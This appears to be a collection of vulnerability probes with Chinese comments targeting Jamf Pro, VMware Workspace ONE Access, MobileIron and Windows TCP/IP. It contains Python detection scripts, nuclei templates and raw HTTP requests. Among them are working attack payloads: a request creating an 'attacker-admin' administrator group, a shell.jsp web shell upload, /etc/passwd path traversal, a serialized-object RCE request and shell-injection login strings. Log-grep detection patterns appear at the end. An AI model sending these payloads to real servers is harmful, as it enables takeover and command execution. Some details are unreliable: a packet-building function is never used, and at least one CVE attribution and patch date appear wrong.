GET / HTTP/1.1
Host: target-sccm-server
Connection: keep-alive

[IPv6 扩展头探测 — 仅用于版本指纹识别]

#!/usr/bin/env python3
"""
CVE-2024-38063 Windows TCP/IP 堆溢出漏洞检测脚本
用法: python3 cve_2024_38063_detect.py <target_ip>
仅用于授权安全评估环境
"""
import socket
import struct
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1"

def check_ipv6_support(host):
    try:
        sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
        sock.settimeout(3)
        sock.connect((host, 443))
        sock.close()
        return True
    except Exception:
        return False

def build_malformed_ipv6_packet():
    version = 6
    traffic_class = 0
    flow_label = 0
    ver_tc_fl = (version << 28) | (traffic_class << 20) | flow_label
    hop_limit = 64
    next_header = 43
    payload_length = 16
    header = struct.pack("!IHBB16s16s",
        ver_tc_fl, payload_length, next_header, hop_limit,
        b'\x20\x01\x0d\xb8' + b'\x00' * 12,
        b'\x20\x01\x0d\xb8' + b'\x00' * 12
    )
    ext_header = struct.pack("!BB6s", 59, 6, b'\x00' * 6)
    return header + ext_header

def main():
    print(f"[*] CVE-2024-38063 漏洞检测目标: {TARGET}")
    if check_ipv6_support(TARGET):
        print("[+] 目标支持 IPv6，可能存在风险")
        print("[!] 请确认已安装 2024 年 11 月安全更新")
    else:
        print("[-] 目标不支持 IPv6 连接或端口不可达")
    print("[*] 建议检查 Windows Update 历史确认补丁状态")

if __name__ == "__main__":
    main()

id: cve-2024-38063-windows-tcpip-detect

info:
  name: Windows TCP/IP CVE-2024-38063 版本指纹检测
  author: security-research
  severity: critical
  description: 检测目标 Windows 主机是否可能受 CVE-2024-38063 影响
  tags: cve,cve2024,windows,tcpip,sccm

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Microsoft-IIS"
          - "Microsoft-HTTPAPI"
        condition: or
        part: header
      - type: word
        words:
          - "SCCM"
          - "Management Point"
        part: body
        condition: or

POST /api/v1/jss-user-groups/0 HTTP/1.1
Host: jamf.example.com:8443
Content-Type: application/json
Accept: application/json
Authorization: Bearer 

{"name":"attacker-admin","access":{"group_name":"Administrators"}}

POST /helper/uploader HTTP/1.1
Host: jamf.example.com:8443
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application/octet-stream

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
------WebKitFormBoundary--

#!/usr/bin/env python3
"""
Jamf Pro 认证绕过漏洞链检测脚本
覆盖 CVE-2023-31224 / CVE-2021-39303
用法: python3 jamf_authbypass_detect.py <target_url>
仅用于授权安全评估环境
"""
import requests
import json
import sys
import urllib3
urllib3.disable_warnings()

TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://jamf.example.com:8443"

HEADERS = {
    "Content-Type": "application/json",
    "Accept": "application/json",
}

def check_cve_2023_31224(base_url):
    print(f"[*] 检测 CVE-2023-31224 (Jamf Pro < 10.49.0)")
    endpoint = f"{base_url}/api/v1/jss-user-groups/0"
    try:
        resp = requests.get(endpoint, headers=HEADERS, verify=False, timeout=10)
        if resp.status_code == 200:
            print("[!] 可能存在 CVE-2023-31224 漏洞")
            print(f"    响应: {resp.text[:200]}")
            return True
        elif resp.status_code == 401:
            print("[-] 认证机制正常，不受此漏洞影响")
            return False
        else:
            print(f"[?] 状态码: {resp.status_code}")
            return None
    except Exception as e:
        print(f"[-] 连接失败: {e}")
        return None

def check_cve_2021_39303(base_url):
    print(f"[*] 检测 CVE-2021-39303 (Jamf Pro < 10.32.0)")
    endpoint = f"{base_url}/JSSResource/accounts"
    try:
        resp = requests.get(endpoint, headers=HEADERS, verify=False, timeout=10)
        if resp.status_code == 200:
            print("[!] 可能存在 CVE-2021-39303 漏洞")
            return True
        elif resp.status_code in (401, 403):
            print("[-] 认证机制正常")
            return False
        else:
            print(f"[?] 状态码: {resp.status_code}")
            return None
    except Exception as e:
        print(f"[-] 连接失败: {e}")
        return None

def check_cve_2019_17076(base_url):
    print(f"[*] 检测 CVE-2019-17076 (Jamf Pro < 10.14.0)")
    endpoint = f"{base_url}/helper/uploader"
    try:
        resp = requests.get(endpoint, verify=False, timeout=10)
        if resp.status_code != 404:
            print(f"[!] /helper/uploader 端点存在 (状态码: {resp.status_code})")
            return True
        else:
            print("[-] /helper/uploader 端点不存在")
            return False
    except Exception as e:
        print(f"[-] 连接失败: {e}")
        return None

def main():
    print(f"[*] Jamf Pro 漏洞链检测目标: {TARGET}")
    print("=" * 60)
    check_cve_2023_31224(TARGET)
    print()
    check_cve_2021_39303(TARGET)
    print()
    check_cve_2019_17076(TARGET)
    print("=" * 60)
    print("[*] 检测完成，请根据结果进一步确认")

if __name__ == "__main__":
    main()

id: jamf-pro-auth-bypass-cve-2023-31224

info:
  name: Jamf Pro 认证绕过检测 (CVE-2023-31224)
  author: security-research
  severity: critical
  description: 检测 Jamf Pro < 10.49.0 认证绕过漏洞
  tags: cve,cve2023,jamf,auth-bypass,mdm

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/jss-user-groups/0"
    headers:
      Content-Type: application/json
      Accept: application/json
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "name"
          - "access"
        condition: and
        part: body

---

id: jamf-pro-cve-2019-17076-upload-detect

info:
  name: Jamf Pro 文件上传端点检测 (CVE-2019-17076)
  author: security-research
  severity: critical
  description: 检测 Jamf Pro < 10.14.0 任意文件上传漏洞
  tags: cve,cve2019,jamf,upload,mdm

http:
  - method: GET
    path:
      - "{{BaseURL}}/helper/uploader"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 405
        condition: or
      - type: word
        words:
          - "uploader"
          - "upload"
        condition: or
        part: body

GET /SAAS/API/1.0/REST/auth/system/status HTTP/1.1
Host: workspace-one.example.com
Accept: application/json

GET /SAAS/t;/../../../../../etc/passwd HTTP/1.1
Host: workspace-one.example.com

POST /SAAS/jersey/manager/api/tenants HTTP/1.1
Host: workspace-one.example.com
Content-Type: application/x-java-serialized-object

[恶意序列化 Java 对象 payload]

#!/usr/bin/env python3
"""
VMware Workspace ONE Access 漏洞链检测脚本
覆盖 CVE-2022-22972/22973/22974/31656
用法: python3 wsone_detect.py <target_url>
仅用于授权安全评估环境
"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://workspace-one.example.com"

def check_cve_2022_22972(base_url):
    print(f"[*] 检测 CVE-2022-22972 (认证绕过)")
    endpoint = f"{base_url}/SAAS/API/1.0/REST/auth/system/status"
    try:
        resp = requests.get(endpoint, verify=False, timeout=10)
        if resp.status_code == 200 and "status" in resp.text:
            print("[!] 可能存在 CVE-2022-22972 漏洞")
            print(f"    响应: {resp.text[:200]}")
            return True
        print("[-] 未检测到漏洞特征")
        return False
    except Exception as e:
        print(f"[-] 连接失败: {e}")
        return None

def check_cve_2022_31656(base_url):
    print(f"[*] 检测 CVE-2022-31656 (路径遍历)")
    endpoint = f"{base_url}/SAAS/t;/../../../../../etc/passwd"
    try:
        resp = requests.get(endpoint, verify=False, timeout=10)
        if "root:" in resp.text:
            print("[!] 可能存在 CVE-2022-31656 漏洞")
            print(f"    响应: {resp.text[:200]}")
            return True
        print("[-] 未检测到路径遍历")
        return False
    except Exception as e:
        print(f"[-] 连接失败: {e}")
        return None

def check_cve_2022_22974(base_url):
    print(f"[*] 检测 CVE-2022-22974 (反序列化 RCE)")
    endpoint = f"{base_url}/SAAS/jersey/manager/api/tenants"
    try:
        resp = requests.post(endpoint,
            headers={"Content-Type": "application/x-java-serialized-object"},
            data=b"\xac\xed\x00\x05",
            verify=False, timeout=10)
        if resp.status_code != 404:
            print(f"[!] 反序列化端点存在 (状态码: {resp.status_code})")
            return True
        print("[-] 端点不存在")
        return False
    except Exception as e:
        print(f"[-] 连接失败: {e}")
        return None

def main():
    print(f"[*] Workspace ONE Access 漏洞链检测目标: {TARGET}")
    print("=" * 60)
    check_cve_2022_22972(TARGET)
    print()
    check_cve_2022_31656(TARGET)
    print()
    check_cve_2022_22974(TARGET)
    print("=" * 60)
    print("[*] 检测完成")

if __name__ == "__main__":
    main()

id: vmware-wsone-cve-2022-22972

info:
  name: VMware Workspace ONE Access 认证绕过 (CVE-2022-22972)
  author: security-research
  severity: critical
  description: 检测 Workspace ONE Access 认证绕过漏洞
  tags: cve,cve2022,vmware,workspace-one,auth-bypass,mdm

http:
  - method: GET
    path:
      - "{{BaseURL}}/SAAS/API/1.0/REST/auth/system/status"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "status"
          - "application/json"
        condition: and
        part: body

---

id: vmware-wsone-cve-2022-31656

info:
  name: VMware Workspace ONE Access 路径遍历 (CVE-2022-31656)
  author: security-research
  severity: critical
  description: 检测 Workspace ONE Access 路径遍历漏洞
  tags: cve,cve2022,vmware,workspace-one,lfi,mdm

http:
  - method: GET
    path:
      - "{{BaseURL}}/SAAS/t;/../../../../../etc/passwd"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "root:"
        part: body

---

id: vmware-wsone-cve-2022-22974

info:
  name: VMware Workspace ONE Access 反序列化 RCE (CVE-2022-22974)
  author: security-research
  severity: critical
  description: 检测 Workspace ONE Access 反序列化漏洞
  tags: cve,cve2022,vmware,workspace-one,rce,deserialization,mdm

http:
  - method: POST
    path:
      - "{{BaseURL}}/SAAS/jersey/manager/api/tenants"
    headers:
      Content-Type: application/x-java-serialized-object
    body: "\xac\xed\x00\x05"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 500
          - 400
        condition: or

POST /mifs/user/login HTTP/1.1
Host: mobileiron.example.com
Content-Type: application/x-www-form-urlencoded

username=admin'$(sleep 5)'&password=test

#!/usr/bin/env python3
"""
CVE-2023-34060 MobileIron Sentry 命令注入检测脚本
用法: python3 mobileiron_detect.py <target_url>
仅用于授权安全评估环境
"""
import requests
import time
import sys
import urllib3
urllib3.disable_warnings()

TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://mobileiron.example.com"

def check_cve_2023_34060(base_url):
    print(f"[*] 检测 CVE-2023-34060 (MobileIron Sentry 命令注入)")
    endpoint = f"{base_url}/mifs/user/login"
    payloads = [
        "admin'$(sleep 5)'",
        "admin`sleep 5`",
        "admin;sleep 5;",
    ]
    for payload in payloads:
        try:
            start = time.time()
            resp = requests.post(endpoint,
                data={"username": payload, "password": "test"},
                verify=False, timeout=15)
            elapsed = time.time() - start
            if elapsed >= 5:
                print(f"[!] 检测到时间延迟 ({elapsed:.1f}s)，可能存在命令注入")
                print(f"    Payload: {payload}")
                return True
        except requests.exceptions.Timeout:
            print(f"[!] 请求超时，可能存在命令注入")
            return True
        except Exception as e:
            print(f"[-] 连接失败: {e}")
            return None
    print("[-] 未检测到命令注入特征")
    return False

def main():
    print(f"[*] MobileIron Sentry 漏洞检测目标: {TARGET}")
    print("=" * 60)
    check_cve_2023_34060(TARGET)
    print("=" * 60)

if __name__ == "__main__":
    main()

id: cve-2023-34060-mobileiron-sentry

info:
  name: MobileIron Sentry 命令注入检测 (CVE-2023-34060)
  author: security-research
  severity: critical
  description: 检测 MobileIron Sentry 命令注入漏洞
  tags: cve,cve2023,mobileiron,ivanti,sentry,cmd-injection,mdm

http:
  - raw:
      - |
        POST /mifs/user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin'$(sleep 5)'&password=test
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'duration>=5'
      - type: status
        status:
          - 200
          - 302
        condition: or

nuclei -t http/vulnerabilities/jamf/ -t http/vulnerabilities/vmware/ -u https://target

curl -sk https://jamf.example.com:8443/ | grep -i "version"
curl -sk https://wsone.example.com/SAAS/ | grep -i "version"

tail -f /var/log/jamf/app.log | grep -i "unauthorized\|bypass\|admin"

tail -f /var/log/jamf/app.log | grep -iE "unauthorized|admin.*creat|auth.*bypass"
grep -r "helper/uploader" /var/log/jamf/

grep -E "SAAS/t;/\.\." /opt/vmware/horizon/workspace/logs/access.log
grep -E "x-java-serialized-object" /opt/vmware/horizon/workspace/logs/access.log

Get-HotFix | Where-Object {$_.HotFixID -eq "KB5046633"}
Get-WinEvent -LogName "Microsoft-Windows-TCPIP" | Select-Object -First 20

grep -E "sleep|;.*\||&&" /var/log/mobileiron/access.log